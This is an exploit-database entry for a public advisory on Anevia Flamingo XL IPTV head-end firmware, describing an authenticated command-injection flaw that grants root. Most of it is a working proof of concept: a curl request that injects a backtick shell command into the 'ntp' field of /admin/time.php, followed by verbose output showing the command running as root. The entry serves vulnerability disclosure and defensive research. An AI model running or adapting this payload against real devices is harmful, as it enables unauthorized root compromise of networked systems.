158fcdfd5c
11 changes to exploits/shellcodes/ghdb Anevia Flamingo XL 3.2.9 - Remote Root Jailbreak Anevia Flamingo XL 3.6.20 - Authenticated Root Remote Code Execution Anevia Flamingo XS 3.6.5 - Authenticated Root Remote Code Execution Monstra 3.0.4 - Stored Cross-Site Scripting (XSS) Online Thesis Archiving System v1.0 - Multiple-SQLi projectSend r1605 - CSV injection projectSend r1605 - Stored XSS Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated) Xoops CMS 2.5.10 - Stored Cross-Site Scripting (XSS) (Authenticated) PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
99 lines
No EOL
3.7 KiB
Text
99 lines
No EOL
3.7 KiB
Text
Exploit Title: Anevia Flamingo XL 3.6.20 - Authenticated Root Remote Code Execution
|
|
Exploit Author: LiquidWorm
|
|
Vendor: Ateme
|
|
Product web page: https://www.ateme.com
|
|
Affected version: 3.6.20, 3.2.9
|
|
Hardware revision 1.1, 1.0
|
|
SoapLive 2.4.1, 2.0.3
|
|
SoapSystem 1.3.1
|
|
|
|
Summary: Flamingo XL, a new modular and high-density IPTV head-end
|
|
product for hospitality and corporate markets. Flamingo XL captures
|
|
live TV and radio content from satellite, cable, digital terrestrial
|
|
and analog sources before streaming it over IP networks to STBs, PCs
|
|
or other IP-connected devices. The Flamingo XL is based upon a modular
|
|
4U rack hardware platform that allows hospitality and corporate video
|
|
service providers to deliver a mix of channels from various sources
|
|
over internal IP networks.
|
|
|
|
Desc: The affected device suffers from authenticated remote code
|
|
execution vulnerability. A remote attacker can exploit this issue
|
|
and execute arbitrary system commands granting her system access
|
|
with root privileges.
|
|
|
|
Tested on: GNU/Linux 3.1.4 (x86_64)
|
|
Apache/2.2.15 (Unix)
|
|
mod_ssl/2.2.15
|
|
OpenSSL/0.9.8g
|
|
DAV/2
|
|
PHP/5.3.6
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2023-5779
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5779.php
|
|
|
|
|
|
13.04.2023
|
|
|
|
--
|
|
|
|
|
|
> curl -vL http://192.168.1.1/admin/time.php -H "Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4" -d "ntp=`id`&request=ntp&update=Sync" |findstr root
|
|
% Total % Received % Xferd Average Speed Time Time Time Current
|
|
Dload Upload Total Spent Left Speed
|
|
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 192.168.1.1:80...
|
|
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
|
|
> POST /admin/time.php HTTP/1.1
|
|
> Host: 192.168.1.1
|
|
> User-Agent: curl/8.0.1
|
|
> Accept: */*
|
|
> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4
|
|
> Content-Length: 32
|
|
> Content-Type: application/x-www-form-urlencoded
|
|
>
|
|
} [32 bytes data]
|
|
100 32 0 0 100 32 0 25 0:00:01 0:00:01 --:--:-- 25< HTTP/1.1 302 Found
|
|
< Date: Thu, 13 Apr 2023 23:54:15 GMT
|
|
< Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6
|
|
< X-Powered-By: PHP/5.3.6
|
|
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
< Pragma: no-cache
|
|
* Please rewind output before next send
|
|
< Location: /admin/time.php
|
|
< Transfer-Encoding: chunked
|
|
< Content-Type: text/html
|
|
<
|
|
* Ignoring the response-body
|
|
{ [5 bytes data]
|
|
100 32 0 0 100 32 0 19 0:00:01 0:00:01 --:--:-- 19
|
|
* Connection #0 to host 192.168.1.1 left intact
|
|
* Issue another request to this URL: 'http://192.168.1.1/admin/time.php'
|
|
* Switch from POST to GET
|
|
* Found bundle for host: 0x1de6c6321b0 [serially]
|
|
* Re-using existing connection #0 with host 192.168.1.1
|
|
> POST /admin/time.php HTTP/1.1
|
|
> Host: 192.168.1.1
|
|
> User-Agent: curl/8.0.1
|
|
> Accept: */*
|
|
> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4
|
|
>
|
|
< HTTP/1.1 200 OK
|
|
< Date: Thu, 13 Apr 2023 23:54:17 GMT
|
|
< Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6
|
|
< X-Powered-By: PHP/5.3.6
|
|
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
< Pragma: no-cache
|
|
< Transfer-Encoding: chunked
|
|
< Content-Type: text/html
|
|
<
|
|
{ [13853 bytes data]
|
|
14 Apr 03:54:17 ntpdate[8964]: can't find host uid=0(root)<br /> <----------------------<<
|
|
14 Apr 03:54:17 ntpdate[8964]: can't find host gid=0(root)<br /> <----------------------<<
|
|
100 33896 0 33896 0 0 14891 0 --:--:-- 0:00:02 --:--:-- 99k
|
|
* Connection #0 to host 192.168.1.1 left intact |